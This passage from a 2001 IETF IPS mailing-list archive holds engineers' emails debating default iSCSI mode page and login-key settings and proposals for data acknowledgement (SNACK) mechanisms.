Logical Unit Control Mode Page ======================== This mode page definition can be removed from the iscsi draft since it governs per-LUN state information and LUN state is the realm of the SCSI ULP. In particular, it is the SCSI ULP that decides whether to enable/disable CRN, since CRN is generated by the SCSI ULP. Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level & not at a SCSI ULP mode page such as the Control Mode Page. (??). Could anybody comment on why CRN (a ULP feature) needs to be enabled in an iscsi protocol mode page ? Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in FCP specific mode pages, since early revisions of FCP did'nt specify the CRN field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was required to be queried/set using mode sense/select, prior to using CRN. Since iscsi supports CRN in its scsi command pdu from its initial rev, I don't see why "Enable CRN" is needed to be done at the iscsi protocol level. (?). Regards, Santosh "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > I vote for making the exchange of some text parameters MANDATORY, with no > defaults. > > Marj > > > -----Original Message----- > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > Sent: Thursday, September 20, 2001 10:48 AM > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > It is true that default mode settings for Mode Pages > > are usually arranged between buyer and vendor for > > maximum convenience in the buyer's systems. It is > > generally true that any setting of a Mode Page will > > allow the protocol to operate correctly, except a few, > > notably the first burst size parameter if > > ImmediateData is set to yes. > > > > On the other hand, some of the iSCSI text keyed > > parameters MUST be known before the protocol will > > operate correctly. ImmediateData is certainly > > one of those. As a result, you have two choices: > > > > a) Make the negotiation of all such parameters > > MANDATORY during the login and after any > > reset that may change them, or; > > > > b) Define a default state that will be guaranteed > > unless and until the parameter has been explicitly > > changed. > > > > Your choice. > > > > Bob > > > > > -----Original Message----- > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > [mailto:sbhagat@tripace.com] > > > Sent: Thursday, September 20, 2001 6:59 AM > > > To: 'Santosh Rao'; IPS Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > Santosh, > > > > > > Where did you find these SCSI Mode page settings? At least I > > > could not find > > > it in SAM-2 document? The mode select command is available in > > > SPI documents > > > but they are meant for particular SCSI device and not for > > > iSCSI device? > > > > > > Be it whatever the case I would like to ask why the default value of > > > MaximumBurstSize is 512 units and why is the default value of > > > FirstBurstSize > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > revisions so setting the default value of FirstBurstSize to > > > 128 units means > > > 65536 bytes or 64K Bytes and similarly the value of > > > Maximumburstsize is 256K > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > Sanjeev > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, September 20, 2001 2:04 AM > > > To: IPS Reflector > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > All, > > > > > > Speaking on the subject of default settings, some questions > > on recent > > > changes to the iscsi mode select pages...... > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > out default > > > values for the iscsi mode pages. Per my understanding, there are no > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > features and the default settings are that these features are > > > turned off > > > unless a mode select is explicitly used to enable them. > > > > > > However, the iscsi mode pages seems to be using the opposite > > > policy and > > > is advertising default settings for mode pages, that too, > > > agreesive ones > > > at that! IOW, an initiator implemenation has to explicitly > > > issue a mode > > > select to disable/turn_off features rather than issue a > > mode select to > > > turn them on. > > > > > > Here's a few examples : > > > > > > * default MaximumBurstSize : 512 units > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > by default > > > !) > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > solicited > > > data, unless they explicitly turn it off using mode > > > select, since, > > > not > > > sending solicited data when it has been negotiated > > > implies a target > > > may > > > abort the I/O. > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > default settings > > > be advertised for any iscsi mode > > > pages. i.e. all defaults are conservative (set to 0), unless > > > explicitly > > > turned on thru a mode select. > > > > > > Comments ? > > > > > > Regards, > > > Santosh > > > > > > "Mallikarjun C." wrote: > > > > > > > Matthew, > > > > > > > > I completely agree that the default should be "no"! I > > pointed this > > > > out sometime ago myself. Apart from what you point out, > > the default > > > > setting for "ImmediateData" seems to be at variance with the > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > Julian, could you please consider this request? > > > > > > > > Regards. > > > > -- > > > > Mallikarjun > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > Julian, > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > negotiation if > > > > > the two sides differ. I presume that since the default is "yes", > > > then only > > > > > if both sides agree to "no" is immediate data turned > > off. Please > > > can this > > > > > be stated. > > > > > > > > > > Additionally, I feel that the default value for > > > ImmediateData should > > > be > > > > > "no". > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > Presumable > > > the > > > > > minimum is selected. > > > > > > > > --------------B78D9D77070CBFB27BAB69B6 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------B78D9D77070CBFB27BAB69B6-- From owner-ips@ece.cmu.edu Fri Sep 21 13:33:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02532 for ; Fri, 21 Sep 2001 13:33:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LGHsl23708 for ips-outgoing; Fri, 21 Sep 2001 12:17:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LGHqP23703 for ; Fri, 21 Sep 2001 12:17:52 -0400 (EDT) Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190]) by atlrel2.hp.com (Postfix) with ESMTP id F1E7FB9F for ; Fri, 21 Sep 2001 12:17:51 -0400 (EDT) Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187]) by xatlrelay1.atl.hp.com (Postfix) with ESMTP id E3EDF1F50C for ; Fri, 21 Sep 2001 12:17:51 -0400 (EDT) Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Sep 2001 12:17:51 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF127@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "Ips Reflector (E-mail)" Subject: RE: iscsi : default iscsi mode page settings. Date: Fri, 21 Sep 2001 12:17:48 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk If there's no reasonable default it makes sense to mandate exchange of at least this one text key. Marjorie > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 21, 2001 7:58 AM > To: ips@ece.cmu.edu > Subject: RE: iscsi : default iscsi mode page settings. > > > I thought you where concerned about "boot duration"? julo > > > > > "KRUEGER,MARJOR > > IE To: IPS > Reflector > (HP-Roseville,e cc: > > x1)" Subject: RE: > iscsi : default iscsi mode > > I vote for making the exchange of some text parameters > MANDATORY, with no > defaults. > > Marj > > > -----Original Message----- > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > Sent: Thursday, September 20, 2001 10:48 AM > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > It is true that default mode settings for Mode Pages > > are usually arranged between buyer and vendor for > > maximum convenience in the buyer's systems. It is > > generally true that any setting of a Mode Page will > > allow the protocol to operate correctly, except a few, > > notably the first burst size parameter if > > ImmediateData is set to yes. > > > > On the other hand, some of the iSCSI text keyed > > parameters MUST be known before the protocol will > > operate correctly. ImmediateData is certainly > > one of those. As a result, you have two choices: > > > > a) Make the negotiation of all such parameters > > MANDATORY during the login and after any > > reset that may change them, or; > > > > b) Define a default state that will be guaranteed > > unless and until the parameter has been explicitly > > changed. > > > > Your choice. > > > > Bob From owner-ips@ece.cmu.edu Fri Sep 21 14:28:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03977 for ; Fri, 21 Sep 2001 14:28:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LHVhW28803 for ips-outgoing; Fri, 21 Sep 2001 13:31:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8LHVeP28796 for ; Fri, 21 Sep 2001 13:31:40 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Fri Sep 21 13:31:29 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Fri Sep 21 13:31:41 EDT 2001 Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id NAA16844 for ; Fri, 21 Sep 2001 13:31:03 -0400 (EDT) Message-ID: <3BAB7957.FB2A5E5E@research.bell-labs.com> Date: Fri, 21 Sep 2001 13:31:03 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: SNACK R2T/Data References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The ack effect could also be achieved using SCSI Command Retry (use the SCSI Command's expDataSN field) The target stops sending Read PDUs if it runs out of buffers, and the initiator then times out and retries the command. This is what a target would have to do in the absence of some data ack. I looked at the archived emails on this subject (when dataSN was called DataRN) The Orlando minutes also have a brief reference. I suspect the atmosphere then was that the recovery scheme was still partly defined and this DataSN ack scheme was adding to the general sense of complexity (..so lets dispose it) I agree with Julian & Matthew that some form of data acks would add value for long transfers. The acks will be cumulative and not per ReadData PDU (based on prenegotiated intervals or on a "send_ack" bit in the ReadData PDU set by the target) Btw, I see that the expDataSN field has disappeared from the SCSI Command PDU. The Task Management Command also does not have anything related to expDataSN. I may have missed an email on this ? -Sandeep Julian Satran wrote: > > It does not have to involve a net type but it must be a specific request > (like SNACK) as there might be no output > traffic at the time. The overhead involved is minor (as it can be done only > once per sequence and be cumulative). > > Julo > > > Michael Schoberg > > g@cnt.com> cc: > Sent by: Subject: RE: iSCSI: SNACK R2T/Data > owner-ips@ece.cm > u.edu > > > 21-09-01 18:43 > Please respond > to Michael > Schoberg > > > > I can see the point of not involving a new ACK request for [DATA] & [R2T]. > However, it would be nice to have something like [CmdSN, ExpStatSN][StatSN, > ExpCmdSN] for [DATA] & [R2T]. As it stands now, only when the [SCSI > Response] is acknowledged for the request that originated the [R2T] & > [Data] > messages can you assume [R2T] & [Data] was successfully processed. This > means you have hold onto a lot of associations in that updating ExpStatSN > will ACK more than just status messages. > > The nice thing about the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] mechanism was > that it allowed for separate processing queues; status messages can be > unaware of the command that originated them. This disassociation allowed > for a simpler implementation (aka hardware assist). > > One possibility would be to split the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] > into 16 bit fields rather than 32. Unless there's a genuine feeling that > more than 65K requests could be outstanding within session, I don't see a > problem. The extra 32 bits freed up could be used for a Data/R2T_SN ACK > and > would allow a separate queue independent of [CmdSN, ExpStatSN][StatSN, > ExpCmdSN]. Since each queue doesn't have to maintain state knowledge of > the > other, it allows for simpler design. > > Just and idea. > > : -----Original Message----- > : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > : Sent: Friday, September 21, 2001 9:41 AM > : To: ips@ece.cmu.edu > : Subject: Re: iSCSI: SNACK R2T/Data > : > : > : > : Santosh, > : > : None of your arguments makes much sense. > : The ACK (a third form of SNACK) can be done at explicit > : boundaries and only > : by initiators > : supporting the within command class. For most of the > : initiator it will > : require 0 additional resources as they either > : don't do they recovery, or the input data is short (the ack > : is not needed > : at the end as the status ack acks the data too). > : For the ones that have long exchanges (tape and 3rd party) it is a big > : help. > : > : But you did not fail (again) to make your point. > : > : Julo > : > : > : > : > : Santosh Rao > : > : : ips@ece.cmu.edu > : hp.com> cc: > : > : Sent by: Subject: Re: > : iSCSI: SNACK R2T/Data > : owner-ips@ece. > : > : cmu.edu > : > : > : > : > : > : 20-09-01 18:54 > : > : Please respond > : > : to Santosh Rao > : > : > : > : > : > : > : > : > : > : Matthew, > : > : We have gone through this thread of discussion regarding > : DataSNa long time > : back on > : ips and the consensus has been that I/O transfer sizes are not large > : enough to > : justify OUT_OF_BAND acknowledgement of data. [achieved by having the > : initiator > : generate NOP-OUTs in response to received data pdu's to send > : a DataSN ack.] > : > : The primary dis-advantage with that scheme was that the data > : ack's were > : being > : generated out-of-band, and therefore, implied extra cost in terms of > : initiator > : resources for each I/O, as well as increased wire traffic per I/O, > : performance > : penalty, etc. > : > : I am opposed to the draft requiring initiators to send > : out-of-band ack's to > : data > : pdu's through the use of initiator generated NOP-OUT pdus. This is a > : performance > : penalty, a resource overhead, and not really justified in > : most I/O traffic > : due to > : the avg. data xfer sizes. > : > : Regards, > : Santosh > : > : > : Julian Satran wrote: > : > : > Matthew, > : > > : > I am also in favor of such a mechanism. It is easy to > : implement (another > : > form of SNACK) and we have already built-in a mechanism by which an > : inbound > : > stream can be marked for acking (the inbound sequence > : separator F bit). > : > It can also be specified as mandated only if the > : within-command recovery > : > class is present. > : > > : > However I am reluctant to open again this issue except if > : there are more > : > supporters. Data ACKs where hastily dropped at the interim > : meeting in > : > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh > : Rao as being > : very > : > vocal against them (arguing complexity) and carrying the > : room with them. > : > > : > Julo > : > > : > > : > "BURBRIDGE,MATTH > : > EW To: Julian > : Satran/Haifa/IBM@IBMIL, > : > (HP-UnitedKingdo ips@ece.cmu.edu > : > m,ex2)" cc: > : > : iSCSI: SNACK > : R2T/Data > : > ge@hp.com> > : > > : > 19-09-01 17:25 > : > Please respond > : > to > : > "BURBRIDGE,MATTH > : > EW > : > (HP-UnitedKingdo > : > m,ex2)" > : > > : > > : > > : > I am very much in favour of having a positive ACK mechanism > : to control > : > buffer resources at the target. If there is a very large > : transfer (e.g. > : 1 > : > Mb) then the sender can release buffer space once it knows that the > : > receiver > : > has received the data. It is worth pointing out that this > : mechanism is > : for > : > buffer control and is not for flow control which, as we all know, is > : > handled > : > by TCP. > : > > : > Cheers > : > > : > Matthew Burbridge > : > Senior Development Engineer > : > NIS-Bristol > : > Hewlett Packard > : > Telnet: 312 7010 > : > E-mail: matthewb@bri.hp.com > : > > : > -----Original Message----- > : > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > : > Sent: Wednesday, September 19, 2001 6:28 AM > : > To: ips@ece.cmu.edu > : > Subject: Re: iSCSI: SNACK R2T/Data > : > > : > There is no ACK mechanism. The group wisdom was that there > : is no need for > : > one. > : > Incoming data and R2Ts are not acked (a mechanism that did > : that existed > : and > : > was based on NOP-Out). > : > > : > Julo > : > > : > Michael Schoberg on 18-09-2001 19:09:51 > : > > : > Please respond to Michael Schoberg > : > > : > To: "'ips@ece.cmu.edu'" , Julian > : Satran/Haifa/IBM@IBMIL > : > cc: > : > Subject: iSCSI: SNACK R2T/Data > : > > : > Old subject, but I couldn't find any discussion on this: > : > > : > When does the target know it no longer needs to hold R2T & > : Data PDUs? > : > StatSN responses are acknowledged through the ExpStatSN > : field received in > : > future I->T requests. What's the acknowledgement method > : for R2T & Data > : > PDUs? Is it tied to the original request and acknowledged > : through the > : > ExpStatSN acknowledgment of the request's response? > : > > : > Thanks. > : > : - santoshr.vcf > : > : > : From owner-ips@ece.cmu.edu Fri Sep 21 14:34:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04214 for ; Fri, 21 Sep 2001 14:34:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LGg3U25245 for ips-outgoing; Fri, 21 Sep 2001 12:42:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LGg1P25240 for ; Fri, 21 Sep 2001 12:42:01 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id SAA54710 for ; Fri, 21 Sep 2001 18:41:54 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8LGfaY165838 for ; Fri, 21 Sep 2001 18:41:37 +0200 Subject: Re: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 21 Sep 2001 19:43:25 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 21/09/2001 19:41:37 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I just forgot - I had it on my list several times. 0 means no limit -Julo Santosh Rao hp.com> cc: Sent by: Subject: Re: iscsi : default iscsi mode owner-ips@ece. page settings. cmu.edu 21-09-01 19:26 Please respond to Santosh Rao Charles, "Binford, Charles" wrote: > Santosh, I fully agree with the intent of your comments. One small > problem, however, is you argue for FirstBurstSize = 0. Based on your other > comments I believe you are saying first burst should be disabled. SPC-2 > (and I see nothing in iSCSI to change this) defines firstBurstSize of 0 to > mean "no limit". You raise a good point here. Note that the iscsi definition of FirstBurstSize in its disconnect-reconnect mode page differs from SPC-2 definition in that it is silent about the semantics of a 0 value for the FirstBurstSize. Perhaps, Julian can comment on whether this was intentional to indicate that 0 implies no buffer available, or was an omission, in which case the wording needs to be fixed. > I believe that is exactly the opposite of what your are > arguing for. The mode page field of firstFirstSize does not have or need > the concept of zero blocks allowed because the feature is is enabled / > disabled via other methods; process login parameters in FCP, initialR2T and > ImmediateData text parameters. > > So, we have the problem of how does a host that wants to use immediate or > unsolicited data know how much he can send. Agreed. > Options I see are: > - define a default value for the mode page (current method in iSCSI spec). > As I argued in previous posting, I believe this breaks basic mode page > concepts of SCSI. > > - force the host to issue a mode sense before the first command with > Data-Out. > Not desirable, as Santosh argued in another email. > > - specify the amount of data the host send before the R2T during login as a > text parameter > What I prefer. I am in favor of this technique as well. As I have argued in the past, dependence on the mode sense/select for iscsi session parameters is not a good idea for several reasons : * Mode Sense/Select implementation may be a shared mode page implementation and this can cause strange side effects on initiators when other initiators establish sessions with that target port and issue mode select. It can result in mode select wars between initiators if they are attempting to use different settings and are concurrently operating with the same target port. * Mode Sense/Select for setting session parameters is not architecturally as clean as setting these parameters through login keys, since login keys are an iscsi in-band technique, applied on a per session basis and only affect the specified initiator & target port in that I-T nexus. * Usage of mode sense followed by mode select causes an increase in I/O scan times since this implies 2 extra scsi commands per session establishment. Compare this with setting these parameters through the use of login keys, which is done during login phase, has no side effects of affecting other initiators and is a faster and more optimal method. * Negotiating all session parameters through login keys allows initiator implementations to be simpler since they can avoid having SCSI command set code in the iscsi initiator drivers. For all of the above reasons, I am very much in favor of using login keys for negotiating session parameters, rather than dependence on mode select/sense. If we go with the last choice, then one has the question of what to do with firstBurstSize in the mode page. Two options come to mind: - reflect the login specified value in firstburstsize during mode sense. Memory says this is how it used to be? > - do nothing with it. Let iSCSI say that parameter in the mode page has no > meaning for the iSCSI protocol. Move the "firstBurstSize" concept to the > iSCSI login/text parameters and let it stay there, don't try to tie it in t > the mode pagan at all. (my preferred choice) This is my preferred choice as well. Going with these choices will keep initiator implementations simpler, optimize session establishment time [and thereby, I/O scan time for initiators], avoid mode select wars and other side effects of shared mode pages on iscsi initiator drivers. I would like to request folks to re-consider the use of mode sense/select for setting session parameters given the above listed reasons. My preference is to only depend on iscsi login keys and state that iscsi has no meaning for the disconnect-reconnect mode page. Regarding the "Enable CRN" issue, I will reply in a separate mail. Thanks, Santosh Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 20, 2001 6:44 PM To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. All, I think we need to discuss the 2 issues of login key defaults & mode page defaults seperately : 1) Defaults on login keys : =================== I am in favor of defining conservative defaults. Those initiators needing additional features should be prepared to do the additional work of negotiating those keys. It should'nt be the other way around. Thus, default settings should be : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" I'd like to propose one more change that the LogoutLoginMinTime & LogoutLoginMaxTime login keys be removed from the login keys. This is because these key values are only relevant for an initiator re-login following a target originated logout or connection drop (signalled through an async message). The async message does contain these values and thus, it provides no additional value to negotiate these during login. Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most likely properties of the target device (how long array "xyz" goes out to lunch during certain infamous conditions) as opposed to a value that can be negotiated on a per-initiator basis. 2) Defaults on iscsi mode pages : ======================== Typically, no protocol defaults are specified for mode page settings. Initiators should be able to function correctly without having to do either mode select or mode sense. Any initiator that needs advanced settings should be prepared to do the extra work of issuing mode sense/select to enable these features. It should NOT be the other way around. (i.e. simple initiators should NOT have to first issue a mode select in order to ensure proper operation of their sessions). If the draft does wish to profile a set of recommended defaults for the iscsi, these should be conservative, where they affect the operation of those initiators that do not wish to perform mode select. In particular, the following defaults are required, if it is decided to recommend a profile of default mode page settings : Disconnect-Reconnect Mode Page -------------------------- * EMDP = 0 * MaximumBurstSize = 512 units (as it currently defined. Targets can request less data in its R2T and send shorter data-in sequences, if mode select is not used by initiators to reduce this value.) * FirstBurstSize = 0 The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use solicited data MUST first perform mode sense/select operations to query/set these values. The above default setting of 128 is in-appropriate since : a) it can cause erroneous behaviour for those initiators that do not perform mode select to explicitly turn it off, since targets for which un-solicited data is enabled but not used may reject/abort the I/O. b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is allowed for every logged-in initiator and they have no control over turning this off, since mode select is an initiator-driven operation. Closing the command window causes performance drops and is not a very satisfactory solution to this problem. Logical Unit Control Mode Page ======================== This mode page definition can be removed from the iscsi draft since it governs per-LUN state information and LUN state is the realm of the SCSI ULP. In particular, it is the SCSI ULP that decides whether to enable/disable CRN, since CRN is generated by the SCSI ULP. Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level & not at a SCSI ULP mode page such as the Control Mode Page. (??). Could anybody comment on why CRN (a ULP feature) needs to be enabled in an iscsi protocol mode page ? Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in FCP specific mode pages, since early revisions of FCP did'nt specify the CRN field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was required to be queried/set using mode sense/select, prior to using CRN. Since iscsi supports CRN in its scsi command pdu from its initial rev, I don't see why "Enable CRN" is needed to be done at the iscsi protocol level. (?). Regards, Santosh "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > I vote for making the exchange of some text parameters MANDATORY, with no > defaults. > > Marj > > > -----Original Message----- > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > Sent: Thursday, September 20, 2001 10:48 AM > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > It is true that default mode settings for Mode Pages > > are usually arranged between buyer and vendor for > > maximum convenience in the buyer's systems. It is > > generally true that any setting of a Mode Page will > > allow the protocol to operate correctly, except a few, > > notably the first burst size parameter if > > ImmediateData is set to yes. > > > > On the other hand, some of the iSCSI text keyed > > parameters MUST be known before the protocol will > > operate correctly. ImmediateData is certainly > > one of those. As a result, you have two choices: > > > > a) Make the negotiation of all such parameters > > MANDATORY during the login and after any > > reset that may change them, or; > > > > b) Define a default state that will be guaranteed > > unless and until the parameter has been explicitly > > changed. > > > > Your choice. > > > > Bob > > > > > -----Original Message----- > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > [mailto:sbhagat@tripace.com] > > > Sent: Thursday, September 20, 2001 6:59 AM > > > To: 'Santosh Rao'; IPS Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > Santosh, > > > > > > Where did you find these SCSI Mode page settings? At least I > > > could not find > > > it in SAM-2 document? The mode select command is available in > > > SPI documents > > > but they are meant for particular SCSI device and not for > > > iSCSI device? > > > > > > Be it whatever the case I would like to ask why the default value of > > > MaximumBurstSize is 512 units and why is the default value of > > > FirstBurstSize > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > revisions so setting the default value of FirstBurstSize to > > > 128 units means > > > 65536 bytes or 64K Bytes and similarly the value of > > > Maximumburstsize is 256K > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > Sanjeev > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, September 20, 2001 2:04 AM > > > To: IPS Reflector > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > All, > > > > > > Speaking on the subject of default settings, some questions > > on recent > > > changes to the iscsi mode select pages...... > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > out default > > > values for the iscsi mode pages. Per my understanding, there are no > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > features and the default settings are that these features are > > > turned off > > > unless a mode select is explicitly used to enable them. > > > > > > However, the iscsi mode pages seems to be using the opposite > > > policy and > > > is advertising default settings for mode pages, that too, > > > agreesive ones > > > at that! IOW, an initiator implemenation has to explicitly > > > issue a mode > > > select to disable/turn_off features rather than issue a > > mode select to > > > turn them on. > > > > > > Here's a few examples : > > > > > > * default MaximumBurstSize : 512 units > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > by default > > > !) > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > solicited > > > data, unless they explicitly turn it off using mode > > > select, since, > > > not > > > sending solicited data when it has been negotiated > > > implies a target > > > may > > > abort the I/O. > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > default settings > > > be advertised for any iscsi mode > > > pages. i.e. all defaults are conservative (set to 0), unless > > > explicitly > > > turned on thru a mode select. > > > > > > Comments ? > > > > > > Regards, > > > Santosh > > > > > > "Mallikarjun C." wrote: > > > > > > > Matthew, > > > > > > > > I completely agree that the default should be "no"! I > > pointed this > > > > out sometime ago myself. Apart from what you point out, > > the default > > > > setting for "ImmediateData" seems to be at variance with the > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > Julian, could you please consider this request? > > > > > > > > Regards. > > > > -- > > > > Mallikarjun > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > Julian, > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > negotiation if > > > > > the two sides differ. I presume that since the default is "yes", > > > then only > > > > > if both sides agree to "no" is immediate data turned > > off. Please > > > can this > > > > > be stated. > > > > > > > > > > Additionally, I feel that the default value for > > > ImmediateData should > > > be > > > > > "no". > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > Presumable > > > the > > > > > minimum is selected. > > > > > > > > #### santoshr.vcf has been removed from this note on September 21 2001 by Julian Satran From owner-ips@ece.cmu.edu Fri Sep 21 16:20:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA05848 for ; Fri, 21 Sep 2001 16:20:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LJLAk07832 for ips-outgoing; Fri, 21 Sep 2001 15:21:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LJL8P07827 for ; Fri, 21 Sep 2001 15:21:08 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with 